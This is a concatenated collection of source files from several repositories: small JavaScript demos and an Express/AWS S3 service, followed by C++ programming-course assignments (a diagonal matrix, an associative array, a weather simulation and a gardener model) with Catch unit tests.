<file_sep>var PNGImage = require('pngjs-image'); var image = PNGImage.createImage(100, 300); // Get width and height console.log(image.getWidth()); console.log(image.getHeight()); // Set a pixel at (20, 30) with red, having an alpha value of 100 (half-transparent) image.setAt(20, 30, { red:255, green:0, blue:0, alpha:100 }); // Get index of coordinate in the image buffer var index = image.getIndex(20, 30); // Print the red color value console.log(image.getRed(index)); // Get low level image object with buffer from the 'pngjs' package var pngjs = image.getImage(); image.writeImage('./i.png', function (err) { if (err) throw err; console.log('Written to the file'); }); <file_sep> import * as hexdump from 'hexdump-nodejs'; import * as fs from 'fs'; import * as Controls from './controls' import * as sleep from 'sleep'; //const OpenWeatherMapHelper = require("openweathermap-node"); const path = require('path'); /* const helper = new OpenWeatherMapHelper( { APPID: '<KEY>', units: "metric" } ); helper.getCurrentWeatherByGeoCoordinates(55.9352591, 37.9313304, (err, currentWeather) => { if(err){ console.log(err); } else{ console.log(currentWeather); } }); */ /* var request = require('request').defaults({ encoding: null }); request("http://api.openweathermap.org/data/2.5/weather?lat=55.9352591&lon=37.9313304&appid=<KEY>&units=metric&lang=ru", function (error, response, body) { console.log('error:', error); // Print the error if one occurred //console.dir(response); // Print the response status code if a response was received console.log('body:', body); // Print the HTML for the Google homepage. if(body != null) { console.log('body size:', body.length); console.log('body type:', body.constructor.name); let jsonVal = JSON.parse(body); console.log(jsonVal); } });*/ Controls.init('/tmp/kedei_lcd_in', '/tmp/kedei_lcd_out'); const clearAllControls = new Controls.ClearAllControls(); clearAllControls.send(); const statusPanel = new Controls.Panel(1, null, 0, 0, 480, 30, true, 3, 5, 8); const tb = new Controls.TextBox(14, null, 10, 200, 200, 30, true, "koooogoo", 22, 3, 5, 80); tb.onClick = (x, y) => { console.log("Yahooo! " + x + " " + y); } const testPanel = new Controls.Panel(2, null, 30, 150, 200, 100, true, 3, 5, 8); const lbTime = new Controls.Label(15, statusPanel, 5, 0, 400, 30, true, "labell time", 22, 180, 180, 85); //const lbDate = new Controls.Label(wstreamWrite, 16, ststusPanel, 10, 100, 330, 30, "labell date", 22, 180, 180, 85); const setTimeFmtCmd = new Controls.ConfigDateAndTime(lbTime, null, Controls.date_time_comb_tag.DT_COMB_TIME_BEFORE_DATE, Controls.date_time_time_fmt_tag.DT_TM_II_0MM, Controls.date_time_date_fmt_tag.DT_DT_WWWW_DD_MMMM); setTimeFmtCmd.send(); let imglist = ["http://openweathermap.org/img/w/10d.png", "http://openweathermap.org/img/w/01n.png", "http://openweathermap.org/img/w/09d.png", "http://openweathermap.org/img/w/11d.png"]; const img = new Controls.Image(100, null, 100, 100, 100, 100, true, Controls.DkImageTypes.Png, Controls.DkImageScaleTypes.Stretch, 100, 100, 100, "./error.png", null); let curimgIndex = 0; setInterval( ()=> { img.imageUrl = imglist[curimgIndex]; curimgIndex++; if(curimgIndex >= imglist.length) { curimgIndex = 0; } }, 5000);
ecc12cbfc2c144a4c057f3ec8b26447ff17c54d8
[ "JavaScript", "TypeScript" ]
2
JavaScript
Reddds/HomeNodeJsService
a45076e8b6608157c3683a4e79b8d1f07c8ad78d
84c6cc8c21c0b8465490743cc41576fb046887c9
refs/heads/caitlyn-stewart
<file_sep>import styled from 'styled-components'; import { withFormik, Form, Field } from 'formik'; import * as Yup from 'yup'; export const MainForm = styled.form` width: 300px; display:flex; flex-direction: column; justify-content: space-between; align-items: center; background-color: whitesmoke; border-radius: 5px; padding: 2% 1%; `; export const InputForm = styled.form` display:flex flex-direction: column; justify-content:space-between; align-items: center; `; export const Input = styled(Field)` width: 100%; height: 35px; border: 0.5px solid midnightblue; background-color: snow; border-radius: 5px; font-size: 1rem; line-height: 1.5rem; box-shadow: midnightblue 1px 2px 2px; margin: 4% 0.5%; padding: 0.75rem; &:focus, &:active { box-shadow: orangered 1px 2px 2px; border: 1px solid orangered; outline: none; } &:-webkit-autofill, &:-webkit-autofill:hover, &:-webkit-autofill:focus{ transition: background-color 1s ease-in-out 0s; } `; export const Title = styled.h1` font-size: 25px; line-height: 1.25rem; margin-top: 0; `; export const CheckContainer = styled.label` display:flex; flex-direction: row; font-size:18px; align-items: center; `
7870ad296d69633eaef4525e0ba02d480f986998
[ "JavaScript" ]
1
JavaScript
cstewart94/user-onboarding
186678114a8ffb79011de4c15f8aafed286257ec
264c28b8d1b0300b95da718872c641e28ff93fbc
refs/heads/main
<file_sep>const AWS = require('aws-sdk'); //AWS.config.update({region:'eu-central-1'}); const to = require('await-to-js').default; var s3 = new AWS.S3(); module.exports = (async function (object) { var params = { Bucket: "realjenkins", Key: `${object}` }; return [err, data] = await to(s3.getObject(params).promise()); });<file_sep>'use strict'; var fs = require('fs'); var path = require('path'); module.exports = function (app, express) { fs.readdirSync('C:\\Users\\<NAME>\\local\\scratch\\learning\\controller').forEach(function (file) { // Avoid to read this current file. if (file === path.basename(__filename)) { return; } // Load the route file. require(`../controller/${file}`)(app); }); };<file_sep>'use strict'; const { check,validationResult } = require('express-validator'); const validateRequest = require('../services/utils/validator'); const to = require('await-to-js').default; const AWS = require('aws-sdk'); const s3 = new AWS.S3(); async function retrieveFile(req, res, next) { validateRequest(validationResult, req, res); var params = { Bucket: "realjenkins", Key: req.query.filepath }; s3.getObject(params, function(err, data) { if (err) console.log(err, err.stack); // an error occurred else console.log(data); // successful response }); } module.exports = function (app) { app.get ('/s3/getobject', [ check('filePath').exists().isString() ] , retrieveFile); };<file_sep>'use strict'; const http = require('http'); const express = require('express'); const { createTerminus } = require('@godaddy/terminus'); const app = module.exports = express(); const bodyParser = require('body-parser'); app.use(bodyParser.urlencoded({ extended: false })); app.use(bodyParser.json()); require('./config/environment')(app); require('./config/routes')(app); app.use(function (err, req, res, next) { console.error(err.stack); res.status(200).json({status: "error", "message": { data: err.message }}) }); const server = http.createServer(app); function onSignal () { console.log('server is starting cleanup') // start cleanup of resource, like databases or file descriptors } async function onHealthCheck () { // checks if the system is healthy, like the db connection is live // resolves, if health, rejects if not console.log('Health Check called') res.status(200).json({status: "UP"}); } createTerminus(server, { signal: 'SIGINT', healthChecks: { '/healthcheck': onHealthCheck }, onSignal }); server.listen(3000);<file_sep> const validateParams = function (validationResult, req, res) { const errors = validationResult(req); if (!errors.isEmpty()) { return res.status(422).json({ status: "error", message: errors.array() }); } }; module.exports = validateParams;
942d078e29aacfe8283fe23dc9d7537db8b74968
[ "JavaScript" ]
5
JavaScript
phucnguyen25392/nodejs-api
e68660bc1a4e2694d7a9f68534cc79fb698e7105
265c15865a7a8e527c02bda42412fcb5a0770f30
refs/heads/master
<repo_name>gulyassimone/ELTE-2-ObjektumelvuProgramozas<file_sep>/lessons/02_lesson/lessons_9_2/customer.cpp #include <iostream> #include <fstream> #include <string> #include "customer.h" #include "product.h" using namespace std; Customer::Customer(const string &fname) { ifstream f; f.open(fname.c_str()); f >>_name; string s; while(f >> s) { _list.push_back(s); } } void Customer::purchase(const Store &store) { cout << _name << " vasarlo megvette az alabbi arukat: \n"; for (string productName : _list) { Product *product; if (linsearch(productName, store._foods, product)) { _cart.push_back(product); cout << product->getName() << " " << product->getPrice() << endl; store._foods->takeOutFromStock(product); // instead of store._foods->_stocks->remove() } } for (string productName : _list) { Product *product; if (minsearch(productName, store._technical, product)) { _cart.push_back(product); cout << product->getName() << " " << product->getPrice() << endl; store._technical->takeOutFromStock(product); // instead of store._foods->_stocks->remove() } } } bool Customer::linsearch(std::string name, Department* d, Product* &product) const { bool l = false; for(Product* p : d->_stock ) { if ( ( l = (name == p->getName()) ) ) { product = p; break; } } return l; } bool Customer::minsearch(std::string nev, Department* d, Product* &product) const { bool l = false; int min; for(Product* p : d->_stock ) { if (p->getName() != nev) continue; if (l) { if (min > p->getPrice()) { min = p->getPrice(); product = p; } } else { l=true; min = p->getPrice(); product = p; } } return l; } <file_sep>/practice/practice_3_associative_array/menu.cpp #include "menu.h" #include <iostream> #include <sstream> #include "read.hpp" #define menudb 6 using namespace std; bool check(int a) { return a>0 && a<=menudb; } void Menu::run() { int v; do { v=getMenuPoint(); switch(v) { case 1: Menu::setEmpty(); break; case 2: Menu::count(); break; case 3: Menu::insert(); break; case 4: Menu::erase(); break; case 5: Menu::search(); break; case 6: Menu::write(); break; default: cout << "\n Bye!\n"; break; } } while (v!=0); } int Menu::getMenuPoint() { int v; cout << "\n <------------------------------------------------->\n"; cout << "0. Quit\n"; cout << "1. Set Empty\n"; cout << "2. Count\n"; cout << "3. Insert\n"; cout << "4. Erase\n"; cout << "5. Search an element\n"; cout << "6. Write all data\n"; cout << "\n <------------------------------------------------->\n"; ostringstream s; s<<"Write between 0 and "<<menudb<<"!"<<endl; string errmsg=s.str(); v=read<int>("Valasztas: ", errmsg, check); return v; } void Menu::setEmpty() { at.setEmpty(); cout << "The program cleared data from the array!\n"; } void Menu::count() { cout << "The array size: "<< at.count() << endl; } void Menu::insert() { bool incident=false; Item e; cout << "Please type an element: " << endl; cin >> e; try { at.insert(e); } catch(AT::ATError err) { incident=true; if(err==AT::ALREADY_EXISTS_KEY) cerr << "The insert failed. The key's already exists. " <<endl; else cerr << "This is a bug. Please contact the programmer! " <<endl; } if(!incident) cout << "The inserted data: " << e << endl; } void Menu::erase() { bool incident=false; int e; cout<<"Please type a key: "; cin >> e; try { at.erase(e); } catch(AT::ATError err) { incident=true; if(err==AT::NOT_EXISTS_KEY) cerr << "The erase failed. The key's not exists. " <<endl; else if(err==AT::EMPTY_AT) cerr << "The search is failed. The array is empty. " <<endl; else cerr << "This is a bug. Please contact the programmer! " <<endl; } if(!incident) cout << "The erased key: " << e << endl; } void Menu::search() { Item b; bool incident=false; int e; cout<<"Please type a key: "; cin >> e; try { at.searchItem(e); } catch(AT::ATError err) { incident=true; if(err==AT::NOT_EXISTS_KEY) cerr << "The search is failed. The key's not exists. " <<endl; else if(err==AT::EMPTY_AT) cerr << "The search is failed. The array is empty. " <<endl; else cerr << "This is a bug. Please contact the programmer! " <<endl; } if(!incident) cout << "The found data: " << b << endl; } void Menu::write() { cout << at; } <file_sep>/lessons/02_lesson/lesson10_1_gardener/plant.cpp #include "plant.h" Potatoe* Potatoe::_instance = nullptr; Potatoe* Potatoe::instance() { if(nullptr==_instance) _instance = new Potatoe(); return _instance; } Pea* Pea::_instance = nullptr; Pea* Pea::instance() { if(nullptr==_instance) _instance = new Pea(); return _instance; } Onion* Onion::_instance = nullptr; Onion* Onion::instance() { if(nullptr==_instance) _instance = new Onion(); return _instance; } Rose* Rose::_instance = nullptr; Rose* Rose::instance() { if(nullptr==_instance) _instance = new Rose(); return _instance; } Carnation* Carnation::_instance = nullptr; Carnation* Carnation::instance() { if(nullptr==_instance) _instance = new Carnation(); return _instance; } Tulip* Tulip::_instance = nullptr; Tulip* Tulip::instance() { if(nullptr==_instance) _instance = new Tulip(); return _instance; } <file_sep>/assignment/assignment_9/desk.h #ifndef DESK_H #define DESK_H class Desk { public: Desk(); private: }; #endif // DESK_H <file_sep>/assignment/Assignment_3_AirStrarum/weather.h #ifndef WEATHER_H #define WEATHER_H #include <iostream> #include <vector> class Oxygen; class Ozone; class CarbonDioxide; class AirStratum; class Weather { public: virtual char getName() {return _name;} virtual ~Weather() {} virtual Weather* change(Oxygen* oxygen, bool &l,unsigned i, std::vector<AirStratum*> &airStratum) = 0; virtual Weather* change(Ozone* ozone,bool &l,unsigned i,std::vector<AirStratum*> &airStratum) = 0; virtual Weather* change(CarbonDioxide* carbonDioxide,bool &l,unsigned i,std::vector<AirStratum*> &airStratum) = 0; protected: char _name; }; class Else: public Weather { public: char getName() override {return _name;} ; static Else* instance(); Else* change(Oxygen* oxygen,bool &l,unsigned i, std::vector<AirStratum*> &airStratum) override; Else* change(Ozone* ozone,bool &l,unsigned i, std::vector<AirStratum*> &airStratum) override; Else* change(CarbonDioxide* carbonDioxide,bool &l,unsigned i,std::vector<AirStratum*> &airStratum) override; static void destroy(); private: char _name; Else() : _name('m') {} static Else* _instance; }; class Rain: public Weather { public: char getName() override {return _name;} ; static Rain* instance(); Rain* change(Oxygen* oxygen,bool &l,unsigned i,std::vector<AirStratum*> &airStratum) override; Rain* change(Ozone* ozone,bool &l,unsigned i,std::vector<AirStratum*> &airStratum) override; Rain* change(CarbonDioxide* carbonDioxide,bool &l,unsigned i,std::vector<AirStratum*> &airStratum) override; static void destroy(); private: Rain():_name('z') {} static Rain* _instance; char _name; }; class Sunny: public Weather { public: char getName() override {return _name;} ; static Sunny* instance(); Sunny* change(Oxygen* oxygen,bool &l,unsigned i,std::vector<AirStratum*> &airStratum) override; Sunny* change(Ozone* ozone,bool &l,unsigned i,std::vector<AirStratum*> &airStratum) override; Sunny* change(CarbonDioxide* carbonDioxide,bool &l,unsigned i,std::vector<AirStratum*> &airStratum) override; static void destroy(); private: Sunny():_name('n') {} static Sunny* _instance; char _name; }; #endif // WEATHER_H <file_sep>/assignment/SampleCode/1/main.cpp //Author: <NAME> //Date: 2017.08.08. //Title: Diagonal matrix #include <iostream> #include "diag.h" #include "read.hpp" using namespace std; //#define NORMAL_MODE #ifdef NORMAL_MODE //class of menu for diagonal matrix class Menu { public: Menu() : a(0) { } void run(); private: Diag a; void menuWrite(); void getElement() const; void setElement(); void readMatrix(); void writeMatrix(); void sum(); void mul(); }; int main() { Menu m; m.run(); } bool check(int n) { return 0<=n && n<=6; } void Menu::run() { int n = 0; do { menuWrite(); n = read <int> ( "\n>>>>", "integer between 0 and 6 is needed\n", check ); switch(n) { case 1: getElement(); break; case 2: setElement(); break; case 3: readMatrix(); break; case 4: writeMatrix(); break; case 5: sum(); break; case 6: mul(); break; } } while(n!=0); } void Menu::menuWrite() { cout << endl << endl; cout << " 0. - Quit" << endl; cout << " 1. - Get an element of the matrix" << endl; cout << " 2. - Overwrite an element of the matrix" << endl; cout << " 3. - Read matrix" << endl; cout << " 4. - Write matrix" << endl; cout << " 5. - Add matrices" << endl; cout << " 6. - Multiply matrices" << endl; } void Menu::getElement() const { int i,j; cout << "Give the index of the row: "; cin >> i; cout << "Give the index of the column: "; cin >> j; try { cout << "a[" << i << "," << j << "]= " << a(i-1,j-1) << endl; } catch(Diag::Exceptions ex) { if(ex == Diag::OVERINDEXED) cout << "Overindexing!" << endl; else cout << "Unhandled ecxeption!" << endl; } } void Menu::setElement() { int i,j,e; cout << "Give the index of the row: "; cin >> i; cout << "Give the index of the column: "; cin >> j; cout << "Give the value: "; cin >> e; try { a(i-1,j-1) = e; } catch(Diag::Exceptions ex) { if(ex == Diag::OVERINDEXED) cout << "Overindexing!" << endl; if (ex == Diag::NULLPART) cout << "These indexes do not point to the diagonal!" << endl; } } void Menu::readMatrix() { try { cout << "Give the size and the items of the matrix: "; cin >> a; } catch(Diag::Exceptions ex) { cout << "Unhandled ecxeption!" << endl; } } void Menu::writeMatrix() { cout << a << endl; } void Menu::sum() { try { Diag b; cout << "Give the size and the items of the second matrix: " << endl; cin >> b; cout << "Sum of the matrices: " << endl; cout << a + b << endl; } catch(Diag::Exceptions ex) { if(ex == Diag::DIFFERENT) cout << "Different sizes!" << endl; } } void Menu::mul() { try { Diag b; cout << "Give the size and the items of the second matrix: " << endl; cin >> b; cout << "Product of the matrices: " << endl; cout << a * b << endl; } catch(Diag::Exceptions ex) { if(ex == Diag::DIFFERENT) cout << "Different sizes!" << endl; } } #else #define CATCH_CONFIG_MAIN #include "catch.hpp" TEST_CASE("create", "inp.txt") { const string fileName = "inp.txt"; ifstream in(fileName.c_str()); if(in.fail()) { cout << "File name error!" << endl; exit(1); } Diag c; in >> c; // 3 CHECK(c(0,0) == 3); CHECK(c(1,1) == 2); CHECK(c(2,2) == 1); Diag b; in >> b; // 2 CHECK(b(0,0) == 2); CHECK(b(1,1) == 1); Diag a; in >> a; // 1 CHECK(a(0,0)==1); } TEST_CASE("getting and changing an element of the matrix", "") { Diag a( {1,1,1} ); CHECK(a(0,0) == 1); a(0,0) = 0; CHECK(a(0,0) == 0); } TEST_CASE("copy constructor", "inp.txt") { const string fileName = "inp.txt"; ifstream in(fileName.c_str()); if(in.fail()) { cout << "File name error!" << endl; exit(1); } Diag a; in >> a; // 3 Diag b = a; CHECK(a(0,0) == b(0,0)); CHECK(a(1,1) == b(1,1)); CHECK(a(2,2) == b(2,2)); } TEST_CASE("assignment operator", "inp.txt") { const string fileName = "inp.txt"; ifstream in(fileName.c_str()); if(in.fail()) { cout << "File name error!" << endl; exit(1); } Diag a, b; // 3 in >> a; b = a; // check every non-zero item CHECK(a(0,0) == b(0,0)); CHECK(a(1,1) == b(1,1)); CHECK(a(2,2) == b(2,2)); Diag c; // 3 c = b = a; // check every non-zero item CHECK(a(0,0) == c(0,0)); CHECK(a(1,1) == c(1,1)); CHECK(a(2,2) == c(2,2)); a = a; // check every non-zero item CHECK(a(0,0) == 3); CHECK(a(1,1) == 2); CHECK(a(2,2) == 1); } TEST_CASE("add", "inp2.txt") { const string fileName = "inp2.txt"; ifstream in(fileName.c_str()); if(in.fail()) { cout << "File name error!" << endl; exit(1); } Diag a, b, c, d, f, e, z; // 3 in >> a >> b >> z >> e; c = a + b; // check every non-zero item CHECK(c(0,0) == 4); CHECK(c(1,1) == 5); CHECK(c(2,2) == 6); d = b + a; // check every non-zero item CHECK(c(0,0) == d(0,0)); CHECK(c(1,1) == d(1,1)); CHECK(c(2,2) == d(2,2)); d = (a + b) + c; f = a + (b + c); // check every non-zero item CHECK(d(0,0) == f(0,0)); CHECK(d(1,1) == f(1,1)); CHECK(d(2,2) == f(2,2)); c = a + z; // check every non-zero item CHECK(c(0,0) == a(0,0)); CHECK(c(1,1) == a(1,1)); CHECK(c(2,2) == a(2,2)); } TEST_CASE("multiply", "inp2.txt") { const string fileName = "inp2.txt"; ifstream in(fileName.c_str()); if(in.fail()) { cout << "File name error!" << endl; exit(1); } Diag a, b, c, d, f, e, z; // 3 in >> a >> b >> z >> e; c = a * b; CHECK(c(0,0) == 3); CHECK(c(1,1) == 6); CHECK(c(2,2) == 9); d = b * a; CHECK(c(0,0) == d(0,0)); CHECK(c(1,1) == d(1,1)); CHECK(c(2,2) == d(2,2)); d = (a * b) * c; f = a * (b * c); CHECK(d(0,0) == f(0,0)); CHECK(d(1,1) == f(1,1)); CHECK(d(2,2) == f(2,2)); c = a * e; CHECK(c(0,0)== a(0,0)); CHECK(c(1,1)== a(1,1)); CHECK(c(2,2)== a(2,2)); } TEST_CASE("exceptions", "") { Diag a(3); try { a(3,3) = 4; } catch(Diag::Exceptions ex) { CHECK(ex == Diag::OVERINDEXED); } try { a(-1,4) = 4; } catch(Diag::Exceptions ex) { CHECK(ex == Diag::OVERINDEXED); } Diag b(2); Diag c(3); try { a = b; } catch(Diag::Exceptions ex) { CHECK(ex == Diag::DIFFERENT); } try { c = a + b; } catch(Diag::Exceptions ex) { CHECK(ex == Diag::DIFFERENT); } try { c = a * b; } catch(Diag::Exceptions ex) { CHECK(ex == Diag::DIFFERENT); } try { a(1,0) = 4; } catch(Diag::Exceptions ex) { CHECK(ex == Diag::NULLPART); } try { int k = a(1,0); } catch(Diag::Exceptions ex) { CHECK(ex == Diag::NULLPART); } } #endif <file_sep>/assignment/assignment_plus_12_anglerChampionShip/main.cpp #include <iostream> using namespace std; class List(string filename) : int main(int argc, char* argv[]) { string filename = (argc>1) ? argv[1] : "input.txt"; List p(filename); return 0; } <file_sep>/assignment/01_assignment/Assignment_3_AirStrarum/main.cpp #include <iostream> #include <fstream> #include <vector> #include "airStratum.h" #include "weather.h" using namespace std; string simulate(string &filename) { ifstream f(filename); if(f.fail()) throw AirStratum::WRONG_FILENAME; int n=0; f>>n; vector<AirStratum*> airStratum(n); for(int i=0; i<n; i++) { char ch; double s; f >> ch >> s; switch(ch) { case 'x' : airStratum[i] = new Oxygen(ch,s); break; case 'z' : airStratum[i] = new Ozone(ch,s); break; case 's' : airStratum[i] = new CarbonDioxide(ch,s); break; } } string str; f>>str; vector<Weather*> weather(str.length()); for( unsigned j=0; j<str.length(); ++j ) { switch(str[j]) { case 'm' : weather[j] = Else::instance(); break; case 'n' : weather[j] = Sunny::instance(); break; case 'z' : weather[j] = Rain::instance(); break; } } int db=0; bool l=true; unsigned j=0; while( l && j<str.length() ) { unsigned i=0; while( l && i<airStratum.size()) { airStratum[i]->transmute(weather[j],l,i,airStratum); ++i; } cout <<"<<-----------Aktualis adatok--------------->>"<<endl; cout << db+1 << ". nap utan "<<endl; for(unsigned b=0; b<airStratum.size(); b++) { cout << airStratum[b]->getName() << " " << airStratum[b]->getSize() << endl; } cout <<"<<----------------------------------------->>"<<endl; ++j; if(j >= str.length()-1 ) j=0; db++; } bool s=true; string result; for(unsigned b=0; s && b<airStratum.size(); b++) { if(airStratum[b]->getSize()<0.5) { result =airStratum[b]->getName(); s=false; } } for(unsigned i=0; i<airStratum.size(); ++i) delete airStratum[i]; Else::destroy(); Sunny::destroy(); Rain::destroy(); return result; } //#define NORMAL_MODE #ifdef NORMAL_MODE int main() { string filename = "input.txt"; try { string result = simulate(filename) ; cout << "Elso, amelyik elfogy: " << result << endl; } catch(AirStratum::error e) { if(e==AirStratum::WRONG_FILENAME) { cout << "Wrong filename!"; } } return 0; } #else #define CATCH_CONFIG_MAIN #include "catch.hpp" TEST_CASE("first task empty file", "inp0.txt") { string filename="inp0.txt"; try { string result =simulate(filename) ; CHECK(result.length()==0); } catch(AirStratum::error e) { if(e==AirStratum::WRONG_FILENAME) { cout << "Wrong filename!"; } } } TEST_CASE("wrong filename", "inp100.txt") { string filename="inp100.txt"; try { string result =simulate(filename) ; } catch(AirStratum::error e) { CHECK(e==AirStratum::WRONG_FILENAME); } } TEST_CASE("Only one ozone with 0 size", "inp1.txt") { string filename="inp1.txt"; try { string result =simulate(filename) ; CHECK(result=="z"); } catch(AirStratum::error e) { if(e==AirStratum::WRONG_FILENAME) { cout << "Wrong filename!"; } } } TEST_CASE("Only one ozone", "inp2.txt") { string filename = "inp2.txt"; try { string result = simulate(filename) ; CHECK(result=="z"); } catch(AirStratum::error e) { if(e==AirStratum::WRONG_FILENAME) { cout << "Wrong filename!"; } } } TEST_CASE("Only one oxygen", "inp3.txt") { string filename="inp3.txt"; try { string result =simulate(filename) ; CHECK(result=="x"); } catch(AirStratum::error e) { if(e==AirStratum::WRONG_FILENAME) { cout << "Wrong filename!"; } } } TEST_CASE("only one Carbondioxide", "inp4.txt") { string filename="inp4.txt"; try { string result =simulate(filename) ; CHECK(result=="x"); } catch(AirStratum::error e) { if(e==AirStratum::WRONG_FILENAME) { cout << "Wrong filename!"; } } } TEST_CASE("only one else", "inp5.txt") { string filename="inp5.txt"; try { string result =simulate(filename) ; CHECK(result=="s"); } catch(AirStratum::error e) { if(e==AirStratum::WRONG_FILENAME) { cout << "Wrong filename!"; } } } TEST_CASE("only one rain", "inp6.txt") { string filename="inp6.txt"; try { string result =simulate(filename) ; CHECK(result=="x"); } catch(AirStratum::error e) { if(e==AirStratum::WRONG_FILENAME) { cout << "Wrong filename!"; } } } TEST_CASE("two air-stratum only one rain", "inp8.txt") { string filename="inp8.txt"; try { string result =simulate(filename) ; CHECK(result=="z"); } catch(AirStratum::error e) { if(e==AirStratum::WRONG_FILENAME) { cout << "Wrong filename!"; } } } TEST_CASE("two air-stratum only one else", "inp9.txt") { string filename="inp9.txt"; try { string result =simulate(filename) ; CHECK(result=="x"); } catch(AirStratum::error e) { if(e==AirStratum::WRONG_FILENAME) { cout << "Wrong filename!"; } } } TEST_CASE("more air-stratum only more weather", "input.txt") { string filename="input.txt"; try { string result =simulate(filename) ; CHECK(result=="x"); } catch(AirStratum::error e) { if(e==AirStratum::WRONG_FILENAME) { cout << "Wrong filename!"; } } } #endif <file_sep>/lessons/02_lesson/lesson10_1_gardener/noveny.h #pragma once class Noveny { protected: int _eresIdo; public: Noveny(int i) : _eresIdo(i) {} getEresIdo() const { return _eresIdo; } virtual ~Noveny() {} }; class Haszon : public Noveny { public: Haszon(int i) : Noveny(i) {} }; class Virag : public Noveny { public: Virag(int i) : Noveny(i) {} }; // A konkréz növényfajok osztályai legyenek egykék class Burgonya : public Haszon { public: static Burgonya* peldany(); private: Burgonya() : Haszon(5) {} static Burgonya* _peldany; }; class Borso : public Haszon { public: static Borso* peldany(); private: Borso() : Haszon(3) {} static Borso* _peldany; }; class Hagyma : public Haszon { public: static Hagyma* peldany(); private: Hagyma() : Haszon(4) {} static Hagyma* _peldany; }; class Rozsa : public Virag { public: static Rozsa* peldany(); private: Rozsa() : Virag(8) {} static Rozsa* _peldany; }; class Szegfu : public Virag { public: static Szegfu* peldany(); private: Szegfu() : Virag(10) {} static Szegfu* _peldany; }; class Tulipan : public Virag { public: static Tulipan* peldany(); private: Tulipan() : Virag(7) {} static Tulipan* _peldany; }; <file_sep>/assignment/01_assignment/assignment_9/main.cpp #include <iostream> #include "gasStation.h" #include "customer.h" using namespace std; int main() { GasStation s(450); Customer c("Anna"); try { c.refuel(s,6,5); s.getCash(); } catch(GasStation::error err) { if(err==GasStation::INVALID_STATION) { cout << "Nem létező töltőállomás."<<endl; } } return 0; } <file_sep>/assignment/assignment_plus_3_associative_array/associativeArray.h #pragma once #include <vector> #include <iostream> #include "read.hpp" inline bool valid(int a) { return true; } struct Item { int key; std::string data; Item() {}; Item(int p, std::string s):key(p),data(s) {} bool operator==(const int &key) { return(key==this->key); } Item operator=(Item &item) { item.key=key; item.data=data; return item; } friend std::istream& operator>>(std::istream& s, Item& e) { e.key=read<int>("Please type a key: ","Please type an Integer", valid ); std::cout<<"Inserting data: "; s >> e.data; return s; } friend std::ostream& operator<<(std::ostream& s, const Item& e) { s << "(" << e.key << ", " << e.data <<")"; return s; } }; class AT { public: enum ATError {EMPTY_AT,ALREADY_EXISTS_KEY, NOT_EXISTS_KEY}; void setEmpty(); unsigned int count() const; void insert(Item &item); void erase(int &key); int searchItem(const int &key) const; friend std::ostream& operator<<(std::ostream& s, const AT& at); private: std::vector<Item> _vec; int Search(int &key); }; <file_sep>/assignment/01_assignment/assignment_plus_4/main.cpp #include <iostream> #include <fstream> using namespace std; struct termek { string termeknev; int ar; }; enum Errors { WRONG_FILE_NAME }; ifstream openInputfile(const string &fnev); ofstream openOutputfile(const string &fnev); void feltetelesMin(ifstream &f, ofstream &y); ifstream openInputfile(const string &fnev) { ifstream f(fnev.c_str()); if(f.fail()) throw WRONG_FILE_NAME; return f; } ofstream openOutputfile(const string &fnev) { ofstream f(fnev.c_str()); if(f.fail()) throw WRONG_FILE_NAME; return f; } void feltetelesMin(ifstream &x, ofstream &y) { Bank e; bool l=false; int min; string azon; while(x >> e.azon >> e.egy ) { if(e.egy<0) { } else if(l && e.egy>=0) { if(e.egy<min) { azon=e.azon; min=e.egy; } } else if(!l && e.egy>=0) { l=true; azon=e.azon; min=e.egy; } } if(l) { y << azon << endl; } } //#define NORMAL_MODE #ifdef NORMAL_MODE int main() { try { ifstream x = openInputfile("input.txt");; ofstream y = openOutputfile("azon.txt"); feltetelesMin(x, y); } catch(Errors er) { cout << "Rossz filenév\n"; } return 0; } #else #define CATCH_CONFIG_MAIN #include "catch.hpp" TEST_CASE("empty", "inp0.txt") { ifstream x = openInputfile( "inp0.txt"); REQUIRE(!x.fail()); ofstream y = openOutputfile("outP0.txt"); REQUIRE(!x.fail()); feltetelesMin(x,y); int c; string str; ifstream f("outP0.txt"); c = 0; while(getline(f,str)) ++c; CHECK(0==c); } TEST_CASE("one", "inp1.txt") { ifstream x = openInputfile( "inp1.txt"); REQUIRE(!x.fail()); ofstream y = openOutputfile("outP1.txt"); REQUIRE(!x.fail()); feltetelesMin(x,y); string str; ifstream f("outP1.txt"); while(getline(f,str)); CHECK(str.compare("1")); } TEST_CASE("two", "inp2.txt") { ifstream x = openInputfile( "inp2.txt"); REQUIRE(!x.fail()); ofstream y = openOutputfile("outP2.txt"); REQUIRE(!x.fail()); feltetelesMin(x,y); string str; ifstream f("outP2.txt"); while(getline(f,str)); CHECK(str.compare("2")); } TEST_CASE("first", "inp3.txt") { ifstream x = openInputfile( "inp3.txt"); REQUIRE(!x.fail()); ofstream y = openOutputfile("outP3.txt"); REQUIRE(!x.fail()); feltetelesMin(x,y); string str; ifstream f("outP3.txt"); while(getline(f,str)); CHECK(str.compare("3")); } TEST_CASE("before last", "inp4.txt") { ifstream x = openInputfile( "inp4.txt"); REQUIRE(!x.fail()); ofstream y = openOutputfile("outP4.txt"); REQUIRE(!x.fail()); feltetelesMin(x,y); string str; ifstream f("outP4.txt"); while(getline(f,str)); CHECK(str.compare("4")); } TEST_CASE("last", "inp4.txt") { ifstream x = openInputfile( "inp4.txt"); REQUIRE(!x.fail()); ofstream y = openOutputfile("outP5.txt"); REQUIRE(!x.fail()); feltetelesMin(x,y); string str; ifstream f("outP5.txt"); while(getline(f,str)); CHECK(str.compare("5")); } #endif <file_sep>/practice/practice_3_associative_array/associativeArray.cpp #include "associativeArray.h" using namespace std; void AT::setEmpty() { _vec.clear(); } unsigned int AT::count() const { return _vec.size(); } void AT::insert(Item &item) { if(_vec.size()!=0 && Search(item.key)) throw ALREADY_EXISTS_KEY; _vec.push_back(item); } void AT::erase( int &key) { if(!Search(key)) throw NOT_EXISTS_KEY; int ind; ind=searchItem(key); _vec[ind]=_vec[_vec.size()-1]; _vec.pop_back(); } int AT::searchItem(const int &key) const { int i=0; if(_vec.size()==0) throw EMPTY_AT; while (_vec[i].key!=key) { i++; } return i; } int AT::Search( int &key) { bool find=false; for(unsigned int i=0; i<_vec.size(); i++) { if(_vec[i].key==key) { find=true; } } return find; } ostream& operator << (std::ostream& s, const AT& at) { s << "\n >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> \n"; s << "Associative array: \n"; s << "Size: " << at._vec.size() << "\n Datas: \n "; for(unsigned i=0; i<at._vec.size(); ++i) { s << " " << at._vec[i]; } s << "\n 